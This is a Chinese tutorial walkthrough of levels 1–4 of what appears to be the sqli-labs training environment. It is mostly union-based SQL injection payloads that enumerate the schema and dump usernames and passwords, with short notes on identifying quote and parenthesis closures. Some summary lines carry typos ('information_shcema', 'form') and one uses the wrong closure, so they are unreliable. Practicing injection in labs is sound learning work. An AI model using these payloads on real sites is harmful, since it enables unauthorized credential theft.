一、第1-2关:基于错误的字符串/数字型注入
1.?id=1 order by 4 --+
2.?id=-1 union select 1,2,3 --+
3.?id=-1 union select 1,database(),3 --+
4.?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+
第一关在之前学习:联合查询,以及示例因此从第二关开始记录。
其实第一关和第二关差别不大:闭合符合的差别。
判断注入点
可以判断为数字型注入
确定属性列数目
使用?id=1 order by 数字 --+
不断尝试数字最大值
可以看到列数最大为三
确定回显属性
?id=-1 union select 1,2,3 --+
回显属性为2,3
查找数据库
看到数据库名:security
?id=-1 union select 1,database(),3 --+
查看表名
?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名
?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
获取字段信息
?id=-1 union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+
二、第三关
1.?id=1 ') order by 4 --+
2.?id=-1 ') union select 1,2,3 --+
3.?id=-1 ') union select 1,database(),3 --+
4.?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ') union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ') union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+
本题与之前的题目的区别就在于闭合符号的不同这里使用:')
来进行闭合。题目思路大概都差不多着重讲解一下起初如何判断
可以看到无论是 and 1=1 --+
还是and 1=2 --+
回显正常
但是当输入?id=1 ' --+
则出现异常因此可以判断为字符类注入
当?id=1 ') --+
页面正常这说明:是以 (’’)的方式闭合字符串的
接下来便与1-2关无大差异,我们来看一下如何解题
确定属性列数目
?id=1') order by 4 --+
判断列数为3
确定回显属性
?id=-1') union select 1,2,3 --+
获取库名
?id=-1') union select 1,database(),3 --+
获取表名
?id=-1 ') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名
?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
获取字段信息
?id=-1' )union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+
三、第四关
1.?id=1 ") order by 4 --+
2.?id=-1 ") union select 1,2,3 --+
3.?id=-1 ") union select 1,database(),3 --+
4.?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
5.?id=-1 ") union select 1,group_concat(column_name),3 from information_shcema.columns where table_schema=database() and table_name='users' --+
6.?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 form users --+
第四关与第三关的区别就在于注入的字符类型在这里是:("")
进行闭合,接下来就开始吧。
判断注入点
大体上与第三关无差,当发现注入类型不是整型注入,进行字符类型判断
当输入?id=1" --+
时会发现出现错误
因此使用:?id=1 ")--+
进行闭合
显示正常,接下来开始操作
确定属性列数目
?id=1') order by 4 --+
列数为3
确定回显属性
?id=-1 ") union select 1,2,3 --+
获取库名
?id=-1 ") union select 1,database(),3 --+
库名为:security
获取表名
?id=-1 ") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
获取列名
?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='users' --+
获取字段信息
?id=-1 ") union select 1,group_concat(concat_ws(0x23,username,password)),3 from users --+